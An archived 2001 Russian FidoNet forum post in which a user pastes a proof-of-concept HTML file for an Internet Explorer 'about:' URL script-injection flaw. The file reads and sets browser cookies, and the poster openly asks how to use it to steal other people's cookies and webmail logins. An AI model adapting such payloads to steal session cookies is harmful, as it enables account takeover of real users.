Frozen Fido : RU.NETHACK : Re: бpешь в IE

ru.nethack

 
 - RU.NETHACK -------------------------------------------------------------------
 From : Drone                                2:5020/1990.111 20 Nov 2001  22:31:00
 To : Eugeny Dzhurinsky
 Subject : Re: бpешь в IE
 --------------------------------------------------------------------------------

 
 І 16 Nov 01 в 19:51 Eugeny Dzhurinsky писал(а) к Drone на тему бpешь в IE:
 
  D>> - и похищать ничего не надо бyдет? ;) А хpанить свои докyменты в
  D>> кyках может только полный идиот.
 
  ED> типа mail.ru, hotmail.com, etc
  ED> Login, passwd....
  ED> Ы?
 
 Точно. Что-то меня глюкануло %) Hашел я сегодня в инете описание этой дырочки,
 но не доконца врубился.
 Дырочка основана на ошибке конструкции About: в IE. Я до конца не врубился, что 
 делает следующий html-файл, но он в нем показана эта дыра:
 
 Если кто врубится, как эту багу юзать для похищения чужих кукисов, может он это 
 прояснит?
 
 ДДДДДДДДДДДДФайл пошел
 <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN"
 "http://www.w3.org/TR/html4/strict.dtd">
 <html><head>
   <title>Shared cookies</title>
 </head><body>
   <p>
     <a
 href="about:?<script>alert(document.cookie?'Shared%20cookies:%20'%2Bdocum 
 ent.cookie:'No%20shared%20cookies%20stored');</script>Go%20back">
     Check for shared cookies</a>
   </p>
   <p>
     <a
 href="about:?<script>document.cookie='foo=bar';</script>Go%20back">
     Set cookie "foo=bar"</a>
   </p>
   <p>
     <a
 href="about:?<script>document.cookie='fish=chips';</script>Go%20back 
 ">
     Set cookie "fish=chips"</a>
   </p>
   <p>
     <a
 href="about:?<script>document.cookie='about=broken';</script>Go%20ba 
 ck">
     Set cookie "about=broken"</a>
   </p>
 </body></html>
 ДДДДДДДДДДДДФайл кончился
 °±ІЫ  С уважением, Андрей Ковалев  ЫІ±°
 Я люблю людей,люблю когда их нет.Я бы вышел на балкон и разрядил бы пистолет...
 --- [Mo.Nashe.Radio] [http://drone.nm.ru] [МЭСИ] [АРИЯ] [СПЛИH]
  * Origin: E-mail: drone[at]igromania.ru  ICQ:117846611 (2:5020/1990.111)

Вернуться к списку тем, сортированных по: возрастание даты уменьшение даты тема автор

Тема:	Автор:	Дата:
брешь в IE	Alexandr Lepehin	14 Nov 2001 00:52:32
бpешь в IE	Eugeny Dzhurinsky	14 Nov 2001 23:49:23
Re: бpешь в IE	Alexandr Lepehin	16 Nov 2001 03:13:55
Re: брешь в IE	Drone	15 Nov 2001 11:00:00
бpешь в IE	Eugeny Dzhurinsky	16 Nov 2001 20:51:09
Re: бpешь в IE	Drone	20 Nov 2001 22:31:00

Архивное /ru.nethack/192463bfacdba.html, оценка 1 из 5, голосов 10